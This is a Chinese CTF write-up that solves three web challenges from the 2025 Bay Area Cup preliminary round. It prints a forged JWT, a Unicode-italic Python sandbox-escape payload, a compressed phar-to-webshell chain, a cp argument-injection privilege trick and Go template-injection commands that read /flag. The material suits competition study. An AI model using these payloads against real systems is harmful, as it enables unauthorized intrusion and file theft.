湾区杯初赛2025-Web全解
湾区杯2025-Web全解
ez_python
随便上传一个文件,提示需要管理员权限:

可以看到带有凭证:

是采用的JWT:

尝试伪造,伪造失败有提示:

key为@o70xO$0%#qR9#**,最后两位需要爆破:
1 | import jwt |
伪造凭证即可:

1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IkJSIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNzU3MzI0NDMzfQ.gTiXJQsaTSeHN7a1xQdf5_DS0z1gy-yla0ddAL_2U4I |

可以看到只返回报错信息,正常执行只会返回run
主动抛出错误即可回显:

接下来就是经典沙箱逃逸问题了
尝试直接open("/flag","r").read()失败,要么是flag文件不叫这个名字,要么就是得rce
简单测试可以发现,过滤了eval,__,import,os,subprocess等,最简单方便的就是用斜体字绕过,参考聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园,生成网站Italic Text Generator (𝘤𝘰𝘱𝘺 𝘢𝘯𝘥 𝘱𝘢𝘴𝘵𝘦) ― LingoJam
原payload:
1 | a = __import__("subprocess").run(["cat","/f1111ag"], capture_output=True, text=True).stdout |
最终payload:
1 | a = __imp𝘰rt__("subpr"+"ocess").run(["cat","/f1111ag"], capture_output=True, text=True).stdout |
完整EXP:
1 | import requests |

补充题目源码为:
1 | from flask import Flask, request, jsonify, render_template_string |
easy_readfile
访问得到题目源码:
1 |
|
很明显可以注意到Acheron类中可以通过file_put_contents写入文件,还可以通过include包含文件,只不过经过了waf过滤,常规文件包含的php://,data://等无法使用,不过.phar后缀倒是提醒了可以利用phar://伪协议。
不过对于一个普通的phar利用文件:
1 |
|

可以看到是存在__HALT_COMPILER字符串的,会被waf掉,我们可以通过将phar包压缩来绕过。压缩后不会并影响解析,同时可以规避掉waf字符。
生成一个没有__HALT_COMPILER的phar包:
1 |
|

激活Acheron写模式:
1 |
|
上传phar文件:
1 | import requests |

1 | /tmp/0a242c6d7a066440811bedd706758c48.phar |
再换成读模式包含phar文件写入木马:
1 | import requests |
蚁剑连接尝试读取flag,但是权限不足:

但是注意到下面的几个脚本:
run.sh:
1 | !/bin/bash |
注意到这里有重新赋权的操作,而该脚本由root用户执行,如果flag文件权限为755那么就可以读取了
这里可能会想到使用软链接,将/flag软链接到/var/www/html/flag,这样在备份/var/www/html时,就会连flag一起备份走,并且重新赋权,但是在实际操作的时候可以发现,由于cp使用了-P参数,实际上备份的是这个软链接本身而非其指向的文件
简单查一下cp的参数:
1 | ubuntu@Window:~$ cp --help |
如果用-H参数就可以跟随软链接了!这里用到了一个awd中常用的小技巧,如果给一个文件名命名为-开头的,例如-123,那么实际上它会被当作参数,在awd中给木马取名为-muma.php,别人在尝试使用rm删除时,-muma.php会被当作参数而不是文件名,进而无法删除
在此题中,执行的是cp -P * /var/www/html/backup/,如果当前目录下有以-开头的文件名,就会被解析为参数,达到一种参数注入的效果,具体为:

实际上就是:
1 | cd /var/www/html |
1 | flag{me2c2EmvfZAomZb4m6vYmxPpnNblJS6O} |
ssti
这个题目的注入点非常好找,就是/api?template=xxx
但是和传统ssti有些不同的是,{{7}}返回7,而{{7*7}}返回{{7*7}},这一点起初让我很疑惑,后来意识到,这应当不是经常见到的python的ssti系列,后来我想了之前看到过的一篇go的sstiGo SSTI初探 | tyskillのBlog
盲测一下:
1 | /api?template={{exec%20"id"}} |

尝试读flag:

不行了,看看环境变量:

是go环境,尝试读一下代码:
cat读取失败,使用tac
题目源码:
1 | package main |
过滤很多,但是专门还留了b64Decode函数,那么将pyload进行base64编码后发送即可
1 | /api?template={{exec (B64Decode "bHMgLw==")}} |

1 | /api?template={{exec (B64Decode "Y2F0IC9mbGFn")}} |
